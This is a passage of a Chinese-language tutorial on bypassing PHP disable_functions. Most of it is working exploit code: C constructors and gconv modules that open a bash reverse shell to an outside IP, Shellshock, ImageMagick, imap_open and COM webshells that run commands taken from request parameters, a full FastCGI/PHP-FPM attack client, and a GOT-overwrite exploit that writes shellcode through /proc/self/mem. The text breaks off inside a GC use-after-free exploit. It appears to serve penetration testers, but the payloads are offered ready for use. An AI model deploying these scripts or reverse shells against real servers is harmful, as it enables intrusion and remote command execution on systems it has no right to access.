与此类似的php函数还有error_log()和mb_send_mail()

1
2
error_log("",1,"","");
mb_send_mail("","","");

但这里存在一个鸡肋的问题,sendmail没有安装怎么办,它可不是默认安装的

预加载共享对象

参考文章: https://www.freebuf.com/web/192052.html

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function。GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

1
2
3
4
5
6
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&1");
}

利用 GCONV_PATH 环境变量

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的 gconv-modules 文件。gconv-modules 文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即 gconv-modules 文件提供了各个字符集的 .so 文件所在位置。

php 的 iconv 函数的第一个参数是字符集的名字,这个参数会传递到 glibc 的 iconv_open 函数的参数中。iconv_open 函数依照GCONV_PATH找到 gconv-modules 文件。接着根据 gconv-modules 文件的指示找到参数对应的 .so 文件。然后调用 .so 文件中的 gconv() 和 gconv_init() 函数。

这里就可以劫持函数执行任意命令了

1
2
3
4
5
6
7
8
9
#include <stdio.h> 
#include <stdlib.h>

void gconv() {
}

void gconv_init() {
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&1");
}

编译为 .so 文件

1
gcc exp.c -shared -fPIC -o exp.so

在可写目录新建 gconv-modules 文件

1
2
module  PAYLOAD//  INTERNAL     /tmp/exp    2
module INTERNAL PAYLOAD// /tmp/exp 2

然后执行php代码触发

1
2
3
4
<?php 
putenv("GCONV_PATH=/tmp/");
iconv("payload", "UTF-8", "whatever");
?>

类似的,还可以通过php过滤器触发

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
?>

利用 ShellShock

该方法利用的Bash Shellshock 破壳漏洞(CVE-2014-6271)

  • php < 5.6.2
  • bash <= 4.3

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable,则说明存在bash破壳漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

利用 Apache Mod CGI

CGI(通用网关接口Common Gateway Interface)是Web服务器和运行在其上的应用程序进行“交流”的一种约定。早期每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭。这样效率十分低下。而对于Mod CGI,Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:

1
2
Options +ExecCGI
AddHandler cgi-script .ant

由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。

上传shell.ant

1
2
3
4
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

给shell.ant加上可执行权限,访问shell.ant可得到命令执行结果

利用 FastCGI/PHP-FPM

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

上面说到 CGI 每次处理动态脚本都会fork一个进程,执行完毕随之关闭,这样效率很低。于是有了Apache Mod CGI,这里要讨论的是另一种,FastCGI,它每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。

FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发送给FPM。FPM按照CGI的协议将TCP流解析成真正的数据。由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和FPM进行通信。于是就有了利用 Webshell 直接与 FPM 通信 来绕过 disable functions 的姿势。

类比HTTP协议来说,CGI协议是Web服务器和解释器进行数据交换的协议,它由多条record组成,每一条record都和HTTP一样,也由header和body组成,Web服务器将这二者按照CGI规则封装好发送给解释器,解释器解码之后拿到具体数据进行操作,得到结果之后再次封装好返回给Web服务器。

和HTTP头不同,record的header头部固定的是8个字节,body是由头中的contentLength指定,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct 
{
HEAD
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //id
unsigned char requestIdB0;
unsigned char contentLengthB1; //body大小
unsigned char contentLengthB0;
unsigned char paddingLength; //额外大小
unsigned char reserved;
BODY
unsigned char contentData[contentLength];//主要内容
unsigned char paddingData[paddingLength];//额外内容
}FCGI_Record;

了解了协议原理和内容,接下来就是使用CGI协议封装请求,通过Socket来直接与FPM通信。那怎么执行任意命令呢?

p神通过PHP-FPM的环境变量PHP_VALUEPHP_ADMIN_VALUE设置php.ini配置项,通过配置项auto_prepend_fileauto_append_file结合php://input包含任意php代码并执行,并且修改了远程文件包含选项allow_url_include为on

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

p神写的的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

利用 ImageMagick

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

在 ImageMagick 的默认配置文件 /etc/ImageMagick/delegates.xml 里可以看到所有的委托。这个文件定义了很多占位符,比如 %i 是输入的文件名,%l 是图片exif label信息。而在后面 command 的位置,%i 和 %l 等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号或闭合双引号,来执行任意命令。如果在phpinfo中看到有这个ImageMagick,可以尝试一下

  • Imagemagick < 6.9.3-10
  • Imagemagick < 7.0.1-1
  • PHP >= 5.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

利用 imap_open() 绕过

https://www.secpulse.com/archives/105606.html

  • 安装了imap扩展
  • imap.enable_insecure_rsh选项为On。

imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,可以发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

利用 Windows 组件 COM 绕过

COM component(COM组件)是微软开发的软件开发技术。其实质是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。而在php中如果想要引用第三方动态库,需要通过 new COM(“Component.class”) 的方法来实现,其中的 Component 必须是COM组件

  • 要求 com.allow_dcom = true

  • 目标服务器为Windows系统

  • 在php/ext/目录下存在php_com_dotnet.dll这个文件

com.allow_dcom默认是不开启的,PHP 7版本开始要自己添加扩展extension=php_com_dotnet.dll

创建一个COM对象,通过调用COM对象的exec替我们执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>

劫持 got 表绕过

劫持got表绕过disable_functions | 星盟安全

got表是什么呢,可以参考这篇文章深入理解GOT表和PLT表 | 合天网安

在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。简单说就是,函数第一次用到的时候才会把在自己的真实地址给写到相应的got表里,没用到就不绑定了。这就是延迟绑定,由于这个机制,第一次调用函数的时候,got表中“存放”的地址不是函数的真实地址,而是plt 表中的第二条汇编指令,接下来会进行一系列操作装载相应的动态链接库,将函数的真实地址写在got表中。以后调用该函数时,got表保存着其真实地址。

这里劫持got表就是修改函数的got表的地址的内容为我们的shellcode的地址

  • step 1:通过php脚本解析/proc/self/exe得到open函数的got表的地址。
  • step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。
  • step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。
  • step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。

exp(命令无回显,如果没有权限读写/proc/self/mem,自然也就无法利用了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
<?php /***
*
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);


class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){

fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;

case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;

case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;

default:
// echo "who knows what $sh_type this is? ";

}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}

public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc(); // 获得各函数的got表的地址
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library(); // 解析libc库,得到libc库函数的相对地址
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd']; // 我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
// highlight_file('zxhy');
// show_source('zxhy');
// file_get_contents('zxhy');
exit();

利用 GC UAF

此漏洞利用 PHP 垃圾收集器中一个三年前的bug来绕过 disable_functions 并执行系统命令。

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 - all versions to date

exp: https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
